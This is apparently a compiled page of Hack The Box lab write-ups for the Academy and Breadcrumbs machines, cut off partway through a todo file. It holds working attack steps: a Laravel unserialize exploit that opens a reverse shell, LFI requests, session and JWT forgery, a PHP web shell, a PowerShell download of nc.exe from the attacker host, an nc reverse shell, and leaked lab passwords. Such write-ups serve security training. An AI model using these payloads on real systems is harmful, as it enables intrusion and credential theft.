Release:	07 Nov 2020
IP:	10.10.10.215

User Blood snowscan	00 days, 00 hours, 21 mins, 04 seconds.
Root Blood jkr	00 days, 00 hours, 47 mins, 31 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb119.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/academy# nmap -sV -p- -v --min-rate=10000 10.10.10.215
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
13723/tcp filtered unknown
23564/tcp filtered unknown
26345/tcp filtered unknown
33060/tcp open     mysqlx?
55696/tcp filtered unknown
```

add 10.10.10.215 academy.htb to /etc/hosts

Let's go to register page.

Before click on register page let's capture this request in burpsuite.

There is a role id.

Let's change it to 1 and forward the request.

Let's go and login in the wepsite.

There is so many courses.

now use gobuster.

``` bash
root@kali:~/hackthebox/machine/academy# gobuster dir -u http://academy.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50 -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://academy.htb/
[+] Threads:        50
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/11/14 03:11:28 Starting gobuster
===============================================================
/images (Status: 301)
/home.php (Status: 302)
/login.php (Status: 200)
/index.php (Status: 200)
/register.php (Status: 200)
/admin.php (Status: 200)
/config.php (Status: 200)
```

There is a admin.php let's go to this directory real quick.

login in with the same credentials which we use in login.php.

there is a academy launch pannel.

But we find another sub-domain dev-staging-01.academy.htb.

Let's add this in our /etc/hosts file.

Let's to to that sub-domain.

find two useful thing.

``` bash
1. app_name = Laravel
2. app_key = "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
```

search on google that there is any exploit of Laravel and i found one.

 - [PHP Laravel Framework token Unserialize Remote Command Execution](https://www.rapid7.com/db/modules/exploit/unix/http/laravel_token_unserialize_exec)

the rapid7 website tell how to exploit it with metasploit.

``` bash
msf5 > use exploit/unix/http/laravel_token_unserialize_exec
[*] Using configured payload cmd/unix/reverse_perl
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_KEY => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS 10.10.10.215
RHOSTS => 10.10.10.215
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb
VHOST => dev-staging-01.academy.htb
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST tun0
LHOST => tun0
msf5 exploit(unix/http/laravel_token_unserialize_exec) > show options

Module options (exploit/unix/http/laravel_token_unserialize_exec):

   Name       Current Setting                               Required  Description
   ----       ---------------                               --------  -----------
   APP_KEY    dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=  no        The base64 encoded APP_KEY string from the .env file
   Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.215                                  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                                            yes       The target port (TCP)
   SSL        false                                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                                             yes       Path to target webapp
   VHOST      dev-staging-01.academy.htb                    no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Now it's time to run the exploit.

then got a reverse shell,Without wasting time i use python3 tty shell to be a stable shell.

``` bash
msf5 exploit(unix/http/laravel_token_unserialize_exec) > run

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Command shell session 1 opened (10.10.14.4:4444 -> 10.10.10.215:59928) at 2020-11-14 03:33:01 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@academy:/var/www/html/htb-academy-dev-01/public$
```

it's time for enumeration, found an interesting file .env inside /var/www/html/academy.

``` bash
www-data@academy:/var/www/html/academy$ ls -la
ls -la
total 280
drwxr-xr-x 12 www-data www-data   4096 Aug 13 12:42 .
drwxr-xr-x  4 root     root       4096 Aug 13 12:36 ..
-rw-r--r--  1 www-data www-data    706 Aug 13 12:42 .env
-rw-r--r--  1 www-data www-data    651 Feb  7  2018 .env.example
-rw-r--r--  1 www-data www-data    111 Feb  7  2018 .gitattributes
-rw-r--r--  1 www-data www-data    155 Feb  7  2018 .gitignore
drwxr-xr-x  6 www-data www-data   4096 Feb  7  2018 app
-rwxr-xr-x  1 www-data www-data   1686 Feb  7  2018 artisan
drwxr-xr-x  3 www-data www-data   4096 Feb  7  2018 bootstrap
-rw-r--r--  1 www-data www-data   1512 Feb  7  2018 composer.json
-rw-r--r--  1 www-data www-data 191621 Aug  9 11:57 composer.lock
drwxr-xr-x  2 www-data www-data   4096 Feb  7  2018 config
drwxr-xr-x  5 www-data www-data   4096 Feb  7  2018 database
-rw-r--r--  1 www-data www-data   1150 Feb  7  2018 package.json
-rw-r--r--  1 www-data www-data   1040 Feb  7  2018 phpunit.xml
drwxr-xr-x  4 www-data www-data   4096 Nov  9 10:13 public
-rw-r--r--  1 www-data www-data   3622 Feb  7  2018 readme.md
drwxr-xr-x  5 www-data www-data   4096 Feb  7  2018 resources
drwxr-xr-x  2 www-data www-data   4096 Feb  7  2018 routes
-rw-r--r--  1 www-data www-data    563 Feb  7  2018 server.php
drwxr-xr-x  5 www-data www-data   4096 Feb  7  2018 storage
drwxr-xr-x  4 www-data www-data   4096 Feb  7  2018 tests
drwxr-xr-x 38 www-data www-data   4096 Aug  9 11:57 vendor
-rw-r--r--  1 www-data www-data    549 Feb  7  2018 webpack.mix.js
www-data@academy:/var/www/html/academy$ cat .env
cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
```

found the password mySup3rP4s5w0rd!!

remember that we found two username on webserver.

``` bash
omplete initial set of modules (cry0l1t3 / mrb3n)
```

Let's try this one by one real quick.

``` bash
www-data@academy:/var/www/html/academy$ su cry0l1t3
su cry0l1t3
Password: mySup3rP4s5w0rd!!

$ pwd
pwd
/var/www/html/academy
$ cd ~
cd ~
$ ls
ls
user.txt
$ cat user.txt
cat user.txt
759df6a0407f18cf1acf583ec87544ff
```

and we successed, got the user.txt

 - ![](/images/htb120.jpg)

#### Privilege escalation

Before going to our privilege escalation let's change our shell with ssh.

``` bash
root@kali:~/hackthebox/machine/academy# ssh cry0l1t3@10.10.10.215
The authenticity of host '10.10.10.215 (10.10.10.215)' can't be established.
ECDSA key fingerprint is SHA256:4v7BvR4VfuEwrmXljKvXmF+JjLCgP/46G78oNEHzt2c.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.215' (ECDSA) to the list of known hosts.
cry0l1t3@10.10.10.215's password: 
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 14 Nov 2020 09:00:49 AM UTC

  System load:             0.0
  Usage of /:              44.4% of 15.68GB
  Memory usage:            15%
  Swap usage:              0%
  Processes:               172
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.215
  IPv6 address for ens160: dead:beef::250:56ff:feb9:964b

 * Introducing self-healing high availability clustering for MicroK8s!
   Super simple, hardened and opinionated Kubernetes for production.

     https://microk8s.io/high-availability

0 updates can be installed immediately.
0 of these updates are security updates.


Last login: Wed Aug 12 21:58:45 2020 from 10.10.14.2
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
$ whoami
cry0l1t3
```

Found interesting file called audit.log.3 inside /var/log/audit.

But it's a very large log file so we need to hit and try with su,TTY,pass,user with grep.

``` bash
$ cd /var/log/audit
$ ls
audit.log  audit.log.1  audit.log.2  audit.log.3
$ cat audit.log.3 | grep TTY
type=TTY msg=audit(1597199290.086:83): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=7375206D7262336E0A
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
type=TTY msg=audit(1597199304.778:89): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm="sh" data=77686F616D690A
type=TTY msg=audit(1597199308.262:90): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A
type=TTY msg=audit(1597199317.622:93): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=2F62696E2F62617368202D690A
type=TTY msg=audit(1597199443.421:94): tty pid=2606 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
type=TTY msg=audit(1597199533.458:95): tty pid=2643 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=1B5B421B5B411B5B411B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B427F1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
type=TTY msg=audit(1597199575.087:96): tty pid=2686 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=3618790D
type=TTY msg=audit(1597199606.563:97): tty pid=2537 uid=1002 auid=0 ses=1 major=4 minor=1 comm="bash" data=63611B5B411B5B411B5B417F7F636174206175097C206772657020646174613D0D636174206175097C20637574202D663131202D642220220D1B5B411B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B431B5B436772657020646174613D207C200D1B5B41203E202F746D702F646174612E7478740D69640D6364202F746D700D6C730D6E616E6F2064090D636174206409207C207878092D72202D700D6D617F7F7F6E616E6F2064090D6361742064617409207C20787864202D7220700D1B5B411B5B442D0D636174202F7661722F6C6F672F61750974097F7F7F7F7F7F6409617564097C206772657020646174613D0D1B5B411B5B411B5B411B5B411B5B411B5B420D1B5B411B5B411B5B410D1B5B411B5B411B5B410D657869747F7F7F7F686973746F72790D657869740D
type=TTY msg=audit(1597199606.567:98): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A
type=TTY msg=audit(1597199610.163:107): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=2F62696E2F62617368202D690A
type=TTY msg=audit(1597199616.307:108): tty pid=2712 uid=1002 auid=0 ses=1 major=4 minor=1 comm="bash" data=6973746F72790D686973746F72790D657869740D
type=TTY msg=audit(1597199616.307:109): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A
```

And i found a su command with some data encoded with hex.

Let's try to decrept this. i use hex to ASCII converter.

``` bash
comm="su" data=6D7262336E5F41634064336D79210A

6D7262336E5F41634064336D79210A > mrb3n_Ac@d3my!
```

we found the password called mrb3n_Ac@d3my!.
Let's try this with username which we find on web server.

``` bash
$ su mrb3n
Password: 
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
$ whoami
mrb3n
```

we got the mrb3n privilege.

Let's try sudo-l real quick.

``` bash
$ sudo -l
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer
```

We use sudo command with composer.

 - [composer](https://gtfobins.github.io/gtfobins/composer/)

Let's try the command which gtfo bins telling.

``` bash
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
```

And we pwned it ... and got root.txt

``` bash
$ TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x$ $ 
PHP Warning:  PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cd ~
# ls
academy.txt  root.txt  snap
# cat root.txt
601de47f65c718e7151eac1c0e7d9789
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb121.jpg)

#### Summary of knowledge

 - change role id to get higher privilege
 - PHP Laravel Framework token Unserialize Remote Command Execution
 - DB_PASSWORD leak in .env file
 - hex to ASCII converter the su password in /var/log/audit/audit.log.3
 - GTFOBins composer privilege esclation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>

<!-- kb:end academy -->

</details>

<a id="case-breadcrumbs"></a>

## 文件读取、会话构造与本地凭据

文件读取暴露会话生成逻辑，PHPSESSID 与 JWT 的组合影响上传权限。后续保留 Sticky Notes SQLite、二进制分析、端口转发和数据库分支。

<p class="kb-provenance">来源 breadcrumbs · 原记录 2021-02-23 · 31 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-breadcrumbs">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start breadcrumbs -->

#### introduce

OS: Windows
Difficulty: Hard
Points:	40
Release:	20 Feb 2021
IP:	10.10.10.228

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb188.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.228
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=2/23%Time=6034FA27%P=x86_64-pc-linux-gnu%r(RP
SF:CCheck,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.12'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(X11Probe
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.12'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

#### Description

Lfi on books page by and making a post request to search a book, change request and change method variable to 1 and remove title and author and replace with book

``` bash
POST /includes/bookController.php HTTP/1.1

Host: 10.10.10.228

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=480ifp24jq5q4l14mepp0cgkif

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 26



book=../index.php&method=1
```

Use read files
Find secret key for tokens and php for how cookie are made by looking at files for the portal sign

Read code for cookie. The phpsessid is created by md5 hashing string that has a random letter from the users name

``` bash
POST /includes/bookController.php HTTP/1.1

Host: 10.10.10.228

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=480ifp24jq5q4l14mepp0cgkif

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 38



book=../portal/cookie.php&method=1
```

response

``` bash
"<?php\r\n\/**\r\n * @param string $username  Username requesting session cookie\r\n * \r\n * @return string $session_cookie Returns the generated cookie\r\n * \r\n * @devteam\r\n * Please DO NOT use default PHPSESSID; our security team says they are predictable.\r\n * CHANGE SECOND PART OF MD5 KEY EVERY WEEK\r\n * *\/\r\nfunction makesession($username){\r\n    $max = strlen($username) - 1;\r\n    $seed = rand(0, $max);\r\n    $key = \"s4lTy_stR1nG_\".$username[$seed].\"(!528.\/9890\";\r\n    $session_cookie = $username.md5($key);\r\n\r\n    return $session_cookie;\r\n}"
```

Get Paul phpsessid

``` bash
paul47200b180ccd6835d25d034eeb6e6390
```

get secret key

``` bash
POST /includes/bookController.php HTTP/1.1

Host: 10.10.10.228

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=480ifp24jq5q4l14mepp0cgkif

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 34



book=../portal/authController.php&method=1
```

got secret key in response

``` bash
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
```

create a new jwt token using the secret key you found now token is

``` bash
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
```

Login portal with a random account, edit your cookies with the tokens refresh

Now Paul

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb189.jpg)


#### get user

Go to file management and upload a php script in a file (maybe like reverseshell.html) and intercept with burpsuite  and change the .zip at the bottom to .php if not work out title and author in like valid book http://10.10.10.228/books

due to upload button not working, view the following page to makeup file upload request package by yourself.

``` bash
http://10.10.10.228/portal/assets/js/files.js
```

``` bash
POST /portal/includes/fileController.php HTTP/1.1

Host: 10.10.10.228

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Length: 295



------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="file"; filename="shell.html"

Content-Type: text/html



<?php phpinfo();?>

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="task"



test.php

------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

responese

``` bash
HTTP/1.1 200 OK

Date: Tue, 23 Feb 2021 16:37:26 GMT

Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1

X-Powered-By: PHP/8.0.1

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 30

Connection: close

Content-Type: text/html; charset=UTF-8



Success. Have a great weekend!
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb190.jpg)


now change the phpinfo() to the following, and add html garbage data above to get a shell

``` bash
<?php

system($_GET['cmd']);

?>

<h3>Title: Animal Farm</h3>

<p>Author: George Orwell </p>

<p style="color: red;">Max borrow duration: 8 days</p>

<p>About:<br>Animal Farm is an allegorical novella by George Orwell, first published in England on 17 August 1945. The book tells the story of a group of farm animals who rebel against their human farmer, hoping to create a society where the animals can be equal, free, and happy.</p>
```

go to http://10.10.10.228/portal/uploads can execute your file and now command execution

``` bash
http://10.10.10.228/portal/uploads/luci.php?cmd=systeminfo


Host Name:                 BREADCRUMBS
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19041 N/A Build 19041
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          temp
Registered Organization:   
Product ID:                00331-20309-59368-AA373
Original Install Date:     1/15/2021, 3:27:37 PM
System Boot Time:          2/23/2021, 4:41:02 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
```

now use nc to get a shell:

download nc:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs]
└─# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.228 - - [23/Feb/2021 12:30:00] "GET /nc.exe HTTP/1.1" 200 -
```

``` bash
http://10.10.10.228/portal/uploads/luci.php?cmd=powershell%20(new-object%20Net.WebClient).DownloadFile(%27http://10.10.14.12/nc.exe%27,%27C:\\Users\\www-data\\Desktop\\xampp\\htdocs\\portal\\uploads\\nc.exe%27)
```

then get a reverse shell

``` bash
http://10.10.10.228/portal/uploads/luci.php?cmd=nc.exe%2010.10.14.12%203221%20-e%20c:\windows\system32\cmd.exe
```

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 3221
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::3221
Ncat: Listening on 0.0.0.0:3221
Ncat: Connection from 10.10.10.228.
Ncat: Connection from 10.10.10.228:50994.
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\www-data\Desktop\xampp\htdocs\portal\uploads>whoami
whoami
breadcrumbs\www-data

C:\Users\www-data\Desktop\xampp\htdocs\portal\uploads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Users\www-data\Desktop\xampp\htdocs\portal\uploads

02/23/2021  09:41 AM    <DIR>          .
02/23/2021  09:41 AM    <DIR>          ..
02/23/2021  09:13 AM               437 luci.php
02/23/2021  09:41 AM            45,272 nc.exe
02/23/2021  08:37 AM                18 test.php
02/23/2021  09:04 AM               467 test11.php
               4 File(s)         46,194 bytes
               2 Dir(s)   6,313,857,024 bytes free
```

Look through folders and find a Juliette
Password

``` bash
C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>type juliette.json
type juliette.json
{
        "pizza" : "margherita",
        "size" : "large",
        "drink" : "water",
        "card" : "VISA",
        "PIN" : "9890",
        "alternate" : {
                "username" : "juliette",
                "password" : "jUli901./())!",
        }
}
```

Ssh the box, and got user flag

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs]
└─# ssh juliette@10.10.10.228
juliette@10.10.10.228's password: 
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
                                                    
juliette@BREADCRUMBS C:\Users\juliette>whoami       
breadcrumbs\juliette                   
                                       
juliette@BREADCRUMBS C:\Users\juliette>dir
 Volume in drive C has no label.                  
 Volume Serial Number is 7C07-CD3A                
                                                  
 Directory of C:\Users\juliette                   
                                                  
02/01/2021  05:48 AM    <DIR>          .          
02/01/2021  05:48 AM    <DIR>          ..         
01/15/2021  04:00 PM    <DIR>          3D Objects 
01/15/2021  04:00 PM    <DIR>          Contacts   
01/15/2021  04:04 PM    <DIR>          Desktop    
01/15/2021  04:00 PM    <DIR>          Documents  
01/15/2021  04:00 PM    <DIR>          Downloads  
01/15/2021  04:00 PM    <DIR>          Favorites  
01/15/2021  04:00 PM    <DIR>          Links      
01/15/2021  04:00 PM    <DIR>          Music      
01/15/2021  04:03 PM    <DIR>          OneDrive   
01/15/2021  04:00 PM    <DIR>          Pictures   
01/15/2021  04:00 PM    <DIR>          Saved Games
01/15/2021  04:00 PM    <DIR>          Searches   
01/15/2021  04:00 PM    <DIR>          Videos     
               0 File(s)              0 bytes     
              15 Dir(s)   6,313,771,008 bytes free
                                                  
juliette@BREADCRUMBS C:\Users\juliette>dir Desktop
 Volume in drive C has no label.         
 Volume Serial Number is 7C07-CD3A       
                                         
 Directory of C:\Users\juliette\Desktop  
                                         
01/15/2021  04:04 PM    <DIR>          . 
01/15/2021  04:04 PM    <DIR>          ..
12/09/2020  06:27 AM               753 todo.html
02/23/2021  04:42 AM                34 user.txt
               2 File(s)            787 bytes
               2 Dir(s)   6,313,771,008 bytes free

juliette@BREADCRUMBS C:\Users\juliette>type Desktop\user.txt
46c5036915d0f9a7dc2e480befc603d5
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb191.jpg)


#### get administrator

``` bash
juliette@BREADCRUMBS C:\Users\juliette\Desktop>type todo.html
<html>                                                     
<style>                                                    
html{                                                      
background:black;                                          
color:orange;                                              
}                                                          
table,th,td{                                               
border:1px solid orange;                                   
padding:1em;                                               
border-collapse:collapse;                                  
}                                                          
</style>                                                   
<table>                                                    
        <tr>                                               
            <th>Task</th>                                  
            <th>Status</th>                                
            <th>Reason</th>                                
        </tr>                                              
        <tr>                                               
            <td>Configure firewall for port 22 and 445</td>
            <td>Not started</td>                           
            <td>Unauthorized access might be possible</td> 
        </tr>                                              
        <tr>
            <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
            <td>In progress</td>
            <td>It stores passwords in plain text</td>
        </tr>
